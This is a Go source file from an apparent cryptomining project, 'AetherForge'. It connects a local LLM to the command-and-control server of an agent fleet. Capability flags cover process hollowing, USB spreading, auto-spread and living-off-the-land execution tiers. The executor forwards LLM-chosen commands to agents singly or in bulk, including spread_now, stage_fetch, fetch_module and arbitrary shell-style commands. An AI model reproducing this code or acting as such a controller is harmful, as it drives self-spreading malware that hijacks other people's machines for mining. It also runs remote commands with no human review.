Files
AetherForge/server/internal/api/fleet_ai_bridge.go
AetherForge 0002e5fd93
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Calibrate AI Control UI and fleet LLM backend wiring.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
2026-06-07 02:14:28 -07:00

345 lines
9.6 KiB
Go

package api
import (
"encoding/json"
"fmt"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
type FleetAIConfigSource interface {
GetFleetAIConfig() FleetAIConfigView
UpdateFleetAIConfig(FleetAIConfigView) error
}
// FleetAISnapshot builds agent snapshots from DB + WS hub state.
func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if h == nil || h.db == nil || agentID == "" {
return fleetai.AgentSnapshot{}, false
}
agent, err := h.db.GetAgent(agentID)
if err != nil || agent == nil {
return fleetai.AgentSnapshot{}, false
}
snap := fleetai.AgentSnapshot{
AgentID: agentID,
Name: agent.Name,
Worker: agent.WorkerName,
Platform: agent.Platform,
Version: agent.Version,
BuildID: agent.BuildID,
GOOS: agent.Platform,
MiningHashrate: agent.MiningHashrate,
LOTLTier: agent.LOTLTier,
JoinLane: agent.JoinLane,
ChainExhausted: agent.ChainExhausted,
ChainOrder: append([]string(nil), agent.ChainOrder...),
ActiveMethod: agent.ActiveMethod,
VulnRisk: agent.VulnRiskScore,
}
for _, a := range agent.LOTLAttempts {
snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{
Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs,
})
}
h.mu.RLock()
if caps, ok := h.agentCapabilities[agentID]; ok {
snap.Capabilities = capabilityFlags(caps)
}
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
mergeTelemetryIntoSnapshot(&snap, tel)
}
engine := h.adaptiveEngine
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
snap.Adaptive = &adaptive
if len(adaptive.Reasoning) > 0 {
snap.AdaptiveSummary = adaptive.Reasoning[0].Action
}
}
return snap, true
}
func capabilityFlags(caps models.AgentCapabilities) map[string]bool {
return map[string]bool{
"hole_punch": caps.HolePunch,
"remote_aggressive": caps.RemoteAggressive,
"auto_spread": caps.AutoSpread,
"mesh_p2p": caps.MeshP2P,
"process_hollowing": caps.ProcessHollowing,
"ai_enabled": caps.AIEnabled,
"usb_spread": caps.USBSpread,
}
}
func describeSpreadState(agent *models.Agent, caps map[string]bool) string {
parts := []string{}
if agent.USBSpread || (caps != nil && caps["usb_spread"]) {
parts = append(parts, "usb")
}
if caps != nil && caps["auto_spread"] {
parts = append(parts, "auto_spread")
}
if agent.JoinLane != "" {
parts = append(parts, "lane:"+agent.JoinLane)
}
if agent.Campaign != "" {
parts = append(parts, "campaign:"+agent.Campaign)
}
if len(parts) == 0 {
return "idle"
}
return strings.Join(parts, ", ")
}
func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) {
if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 {
snap.MiningHashrate = v
}
if v, ok := tel["lotl_tier"].(string); ok && v != "" {
snap.LOTLTier = v
}
if v, ok := tel["join_lane"].(string); ok && v != "" {
snap.JoinLane = v
}
if v, ok := tel["chain_exhausted"].(bool); ok {
snap.ChainExhausted = v
}
if v, ok := tel["active_method"].(string); ok && v != "" {
snap.ActiveMethod = v
}
if raw, ok := tel["lotl_attempts"]; ok {
if b, err := json.Marshal(raw); err == nil {
var attempts []fleetai.TierAttempt
if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 {
snap.LOTLAttempts = attempts
}
}
}
if raw, ok := tel["chain_order"]; ok {
if b, err := json.Marshal(raw); err == nil {
var order []string
if json.Unmarshal(b, &order) == nil {
snap.ChainOrder = order
}
}
}
if v, ok := tel["vuln_risk_score"].(float64); ok {
n := int(v)
snap.VulnRisk = &n
}
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
type FleetAIExecutor struct {
Hub *WSHub
}
func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
if e == nil || e.Hub == nil {
return "", fmt.Errorf("hub unavailable")
}
args := cmd.Args
if args == nil {
args = map[string]interface{}{}
}
switch cmd.Type {
case fleetai.CmdNoop:
return "noop", nil
case fleetai.CmdRestartMining:
if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil {
return "", err
}
return "restart", nil
case fleetai.CmdDiscoverAndJoin:
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil {
return "", err
}
return "discover_and_join", nil
case fleetai.CmdSpreadNow:
if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil {
return "", err
}
return "spread_now", nil
case fleetai.CmdStageFetch:
if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil {
return "", err
}
return "stage_fetch", nil
case fleetai.CmdSetAgentVersion:
module, _ := args["module"].(string)
if module == "" {
module, _ = args["build_id"].(string)
}
if module == "" {
return "", fmt.Errorf("set_agent_version requires module or build_id")
}
if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil {
return "", err
}
return "fetch_module:" + module, nil
case fleetai.CmdReorderTiers:
return e.pushReorderTiers(agentID, args)
case fleetai.CmdBulkCommand:
return e.runBulkCommand(args)
case fleetai.CmdAgentCommand:
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("agent_command requires action")
}
sendArgs := map[string]interface{}{}
for _, k := range []string{"command", "path", "data", "tail_lines"} {
if v, ok := args[k]; ok {
sendArgs[k] = v
}
}
if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil {
return "", err
}
return action, nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err
}
return cmd.Type, nil
}
}
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
payload := map[string]interface{}{}
if raw, ok := args["tier_order"]; ok {
payload["tier_order"] = raw
}
if raw, ok := args["skip_tiers"]; ok {
payload["skip_tiers"] = raw
}
if len(payload) == 0 {
return "", fmt.Errorf("reorder_tiers requires tier_order")
}
body, _ := json.Marshal(payload)
if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil {
return "", err
}
return "reorder_tiers", nil
}
func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) {
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("bulk_command requires action")
}
ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"]))
if len(ids) == 0 {
return "", fmt.Errorf("bulk_command: no agent_ids")
}
sendArgs := map[string]interface{}{}
if v, ok := args["command"]; ok {
sendArgs["command"] = v
}
sent := 0
for _, id := range ids {
if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil {
sent++
}
}
return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil
}
func parseAgentIDs(raw interface{}) []string {
switch v := raw.(type) {
case []interface{}:
out := make([]string, 0, len(v))
for _, item := range v {
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, strings.TrimSpace(s))
}
}
return out
case []string:
return v
case string:
if strings.TrimSpace(v) == "" {
return nil
}
return strings.Split(v, ",")
default:
return nil
}
}
// WSHubSnapshotAdapter implements fleetai.SnapshotProvider.
type WSHubSnapshotAdapter struct{ Hub *WSHub }
func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string {
if a == nil || a.Hub == nil {
return nil
}
return a.Hub.ConnectedAgentIDs()
}
func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if a == nil || a.Hub == nil {
return fleetai.AgentSnapshot{}, false
}
return a.Hub.FleetAISnapshot(agentID)
}
// ConfigAIAdapter wraps FleetAIConfigSource for the scheduler.
type ConfigAIAdapter struct{ Src FleetAIConfigSource }
func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
if a == nil || a.Src == nil {
return fleetai.Config{}
}
v := a.Src.GetFleetAIConfig()
interval := v.AIDecisionIntervalSec
if interval <= 0 {
interval = 60
}
endpoint := strings.TrimSpace(v.AIEndpoint)
if endpoint == "" {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
}